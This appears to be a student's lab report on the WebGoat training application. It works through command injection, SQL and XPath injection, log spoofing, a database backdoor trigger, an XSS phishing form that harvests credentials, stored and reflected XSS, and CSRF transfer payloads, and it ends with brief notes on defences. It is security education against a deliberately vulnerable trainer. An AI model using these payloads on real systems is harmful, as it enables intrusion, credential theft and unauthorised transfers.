20155205 郝博雅 Exp9 Web安全基础

一、实验内容

  • 一共做了13个题目。

1.WebGoat

  • 输入java -jar webgoat-container-7.1-exec.jar

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat开始实验

2.Injection Flaws

  • 在火狐里右键选择inspect element开启调试。

① Command Injection

  • 命令注入攻击对任何参数驱动的站点都构成严重威胁。攻击背后的方法很容易学习,造成的损害可以从相当大到完全的系统妥协。尽管存在这样的风险,但互联网上令人难以置信的系统却容易受到这种形式的攻击。它不仅是一种容易被煽动的威胁,也是一种威胁,只要有一点常识和预先考虑,就几乎可以完全避免。本课将向学生展示参数注入的几个例子。

    清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。

    尝试向操作系统注入命令。

  • 尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。在所请求的页面源代码中添加"& netstat -an & ipconfig"如图所示:

  • 在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击view后可以看到网络端口使用情况和IP地址。

② Numeric SQL Injection

  • 可以看到我们需要尝试追加一个总是解析为true的SQL语句,拦截POST请求,用101或1=1替换101

  • 将语句替换为SELECT * FROM weather_data WHERE station = 101 OR 1=1,即在查看器中更改代码如下图所示:

  • 可以看到所有城市的天气啦

③ Log Spoofing

  • 日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入hby%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符。

④ XPATH Injection

  • 题目要求是使用帐户Mik/Test123,目标是试着去查看其他员工的数据。

  • 使用一个普通的用户名和密码,XPath会起作用,但是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的情况下,选择一个XML节点,如下所示:

Username: hby' or 1=1 or 'a'='a
Password: hby

  • 可以看到攻击成功:

⑤ String SQL Injection

  • 和数字sql注入相同,输入HBY' OR '1'='1,也就是当last name为hby或者1=1时输出信息,又由于1=1为恒等式,所以所有的用户信息都会被输出。

⑥ LAB: SQL Injection

Stage 1:String SQL Injection
  • 使用String SQL注入来绕过身份验证。
  • 以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。
  • 使用inspect element查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符:

  • 将其修改为40,可以登陆成功。

Stage 3:Numeric SQL Injection
  • 该题目的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry,浏览其BOSS的账户信息。

  • 我们先使用上一题的办法登录进larry的账户。(如果刷新了网页还需要重新修改最大字符长度哦)

  • 在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 之后就可以查看到老板的信息:

⑦ Database Backdoors

  • 看hint后知道先看看自己的信息是啥

  • 接下来就很简单啦,可以通过输入sql语句来修改信息内容。比如输入101; update employee set salary=5205

  • 接下来使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155205@163.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:

⑧ Blind Numeric SQL Injection

  • 题目中说明了下面的表单允许用户输入帐号并确定它是否有效,意思就是返回值只有账户有效或无效两种。

  • 先输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2333 );,结果是

    Account number is valid.也就是账户有效,再试试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2444 );返回了

    Invalid account number.也就是账户无效。那么我们要找的数就在2333和2444之间了。

  • 按照平措同学的方法设置BurpSuite后得到最终的结果2364.

3.Cross-Site Scripting (XSS)

⑨ Phishing with XSS

  • 看一下要求:关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。

  • hint提示我们尝试向搜索字段添加HTML以创建假身份验证表单。

  • 代码如下:

</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单:

  • 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

⑩ Stored XSS Attacks

  • 看看hint:You can put HTML tags in your message.意思是我们要在信息中添加一个html的标签。
  • 这就符合xss攻击的一贯套路了,在信息中输入<script>alert("hey guys");</script>即可。

⑪ Reflected XSS Attacks

  • 看要求没太看懂要干嘛,看看hint:A simple script is .
  • 输入到第一个框里试一试发现没反应,再输入到二个框里试一试,哎呀成功了

  • 但是也会提示你输入错误啦

4.CSRF

⑫ Cross Site Request Forgery(CSRF)

  • 看要求是让我们发送一个恶意URL请求的图片给用户。看了hint后知道是在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出了。
  • 输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据红框中的值据实填写,然后通过宽高设置成1像素,隐藏掉这个图片。

  • 点击后就执行了这个代码,被攻击者就会给你转钱啦

⑬ CSRF Prompt By-Pass

  • 看题目要求是和上一道题一样,只不过现在需要确认转账。
  • 在message中输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
  • 可以看到攻击成功了

二、基础问题回答

(1)SQL注入攻击原理,如何防御

  • 攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  • SQL注入威胁表现形式可以体现为以下几点:

      ●绕过认证,获得非法权限
    
      ●猜解后台数据库全部的信息
    
      ●注入可以借助数据库的存储过程进行提权等操作
  • SQL注入攻击的典型手段

      ●判断应用程序是否存在注入漏洞
    
      ●收集信息、并判断数据库类型
    
      ●根据注入参数类型,重构SQL语句的原貌
    
      ●猜解表名、字段名
    
      ●获取账户信息、攻击web或为下一步攻击做准备
  • 防御措施:使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符。

(2)XSS攻击的原理,如何防御

  • 攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

  • 防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

(3)CSRF攻击原理,如何防御

  • 攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。

  • 防御措施:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

三、实验体会

  • 上个实验接触过SQL和XSS了,所以这一次更加深了对他们攻击的理解。XSS涉及到web编程很多的内容,也算是个回顾,有不少收获。这次做的实验数量比较多,但做完感觉原理都是一样的。

20155205 郝博雅 Exp9 Web安全基础的更多相关文章

  1. 20155205 郝博雅 Exp 8 Web基础

    20155205 郝博雅 Exp 8 Web基础 一.实验目标 (1).Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单 ...

  2. 20155205 郝博雅 Exp5 MSF基础应用

    20155205 郝博雅 Exp5 MSF基础应用 一.实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动攻击实践,如ms08_0 ...

  3. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  4. 20155205 郝博雅 Exp7 网络欺诈防范

    20155205 郝博雅 Exp7 网络欺诈防范 一.实践内容 (1)简单应用SET工具建立冒名网站 (1分) (2)ettercap DNS spoof (1分) (3)结合应用两种技术,用DNS ...

  5. 20155205 郝博雅 Exp6 信息搜集与漏洞扫描

    20155205 郝博雅 Exp6 信息搜集与漏洞扫描 一.实践内容 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务 ...

  6. 20155205 郝博雅 Exp3 免杀原理与实践

    20155205 郝博雅 Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据.如果一个可执行文件( ...

  7. 20155205 郝博雅 Exp2 后门原理与实践

    20155205 郝博雅 Exp2 后门原理与实践 一.基础问题回答 后门(木马) 专用程序 投放 隐藏(免杀) 启动(自启动.绑定) (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:上学 ...

  8. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  9. 20155312 张竞予 Exp9 Web安全基础

    Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...

随机推荐

  1. ARTS打卡计划第二周-Review

    本周review的文章是:https://medium.com/@hakibenita/optimizing-django-admin-paginator-53c4eb6bfca3 改篇文章的题目是: ...

  2. jmeter-用户定义的变量

    添加-配置元件-用户定义的变量 请求中出现变量值的位置,用${_tbip}替换 脚本执行完成,在查看结果树中debug sampler中可以看见变量名和变量值

  3. Jquery+H5验证数据(不是表单验证啊 )

    啥也不说了 直接上代码 1.我将所有需要验证的控件都加上了   required(类名自己定吧没啥讲究)  class 2.所有的控件都加上了 data-vname的H5自定义属性(名称自个定义吧) ...

  4. np.where()命令介绍

  5. excel 上传读写到数据库

    <HTML> <div class="input-group"> <form id="abc" action="http ...

  6. CentOS7+CDH5.14.0安装全流程记录,图文详解全程实测-8CDH5安装和集群配置

    Cloudera Manager Server和Agent都启动以后,就可以进行CDH5的安装配置了.      准备文件 从 http://archive.cloudera.com/cdh5/par ...

  7. ERC20 token standard issues.

  8. Jenkins+Gradle+Docker打docker镜像包上传至s3

    gradle打包跟maven打包的环境搭建有相似之处,可参考maven打包https://www.cnblogs.com/chenchen-tester/p/6408815.html 进入Jenkin ...

  9. 使用JFlex生成词法分析器 1:安装配置

    环境:Windows 10 STEP 1: 下载 JFlex 文件,我选择的是 jflex-1.7.0.zip.下载完成后解压到想安装的位置. 文件结构如下(假设解压目录为 C:\): C:\jfle ...

  10. win10修改TXT文件的关联软件

    打开注册表,按下面路径找: HKEY_CLASSES_ROOT -> txtfile -> shell -> open -> command 在右边可以看到一个默认文件,原来的 ...